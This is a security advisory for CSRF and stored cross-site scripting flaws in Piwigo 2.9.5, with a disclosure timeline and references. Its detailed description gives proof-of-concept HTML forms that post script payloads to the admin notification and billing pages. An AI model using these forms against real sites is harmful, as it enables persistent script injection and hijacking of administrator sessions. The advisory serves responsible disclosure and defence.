Piwigo 2.9.5 Cross Site Request Forgery / Cross Site Scripting

Piwigo version 2.9.5 suffers from cross site request forgery and cross site scripting vulnerabilities.

MD5 | 3c7069e96e000fdbcb03ee3f7ec38aed

=====[ Tempest Security Intelligence - ADV-03/2019 ]==========================

Piwigo - Version 2.9.5

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Vulnerability Information]=============================================
* Class: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79] [CWE-79] Cross-Site Request Forgery (CSRF) [CWE-352]
* CVSS:6.8.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
* CVE-2019-13363, CVE-2019-13364

=====[ Overview]========================================================
* System affected : Piwigo - Version 2.9.5
* Software Version : Version 2.9.5 (other versions may also be affected).
* Impact : Piwigo 2.9.5 is vulnerable to Cross-Site Request Forgery and XSS via /admin.php?page=notification_by_mail&mode=param or /admin.php?page=account_billing. An attacker can exploit this by injecting and persisting javascript code to coerce an admin user into performing unintended actions.

=====[ Detailed description]=================================================

The html codes below exploit vulnerabilities in the same way due to the fact that both forms do not contain CSRF tokens and are vulnerable to XSS attacks. Then an attacker can host these forms on their malicious host and trick an administrator into visiting your page. If successful, the javascript code will be persistently inserted into the administrative configuration pages.
* [admin.php?page=notification_by_mail&mode=param]

<form action="http://domain.com/admin.php?page=notification_by_mail&mode=param" method="POST">

<input type="hidden" name="nbm_send_html_mail" value="xssaxssa<IMG """><SCRIPT>alert(document.domain)</SCRIPT>"" />

<input type="hidden" name="nbm_send_mail_as" value="xssaxssa<IMG """><SCRIPT>alert(document.domain)</SCRIPT>"" />

<input type="hidden" name="nbm_send_detailed_content" value="xssa" />

<input type="hidden" name="nbm_complementary_mail_content" value="xssa" />

<input type="hidden" name="nbm_send_recent_post_dates" value="xssa" />

<input type="hidden" name="param_submit" value="xssa" />
* [admin.php?page=account_billing]

<form id="myForm" action="https://pocs.piwigo.com/admin.php?page=account_billing" method="POST">

<input type="hidden" name="vat_number" value="xssa" />

<input type="hidden" name="billing_name" value="xssa"><script>alert(1)</script>" />

<input type="hidden" name="company" value="xssb" />

<input type="hidden" name="billing_address" value="xssc" />

=====[ Timeline of disclosure]===============================================

26/Jun/2019 - Responsible disclosure was initiated with the vendor.

26/Jun/2019 - Piwigo confirmed the issue;

08/Jul/2019 - CVEs was assigned and reserved as CVE-2019-13364 CVE-2019-13363

09/Aug/2019 - The vendor fixed the vulnerability CSRF.

12/Aug/2019 - The vendor fixed the vulnerability XSS.

=====[ Thanks & Acknowledgements]========================================
* Tempest Security Intelligence [4]

=====[ References ]=====================================================

[1][ https://cwe.mitre.org/data/definitions/352.html|https://cwe.mitre.org/data/definitions/352.html]

[2][ https://cwe.mitre.org/data/definitions/79.html|https://cwe.mitre.org/data/definitions/79.html]

[3][ https://github.com/Piwigo/Piwigo/issues/1055|https://github.com/Piwigo/Piwigo/issues/1055]

[4][ http://www.tempest.com.br|http://www.tempest.com.br/]

=====[ EOF ]===========================================================

Related Posts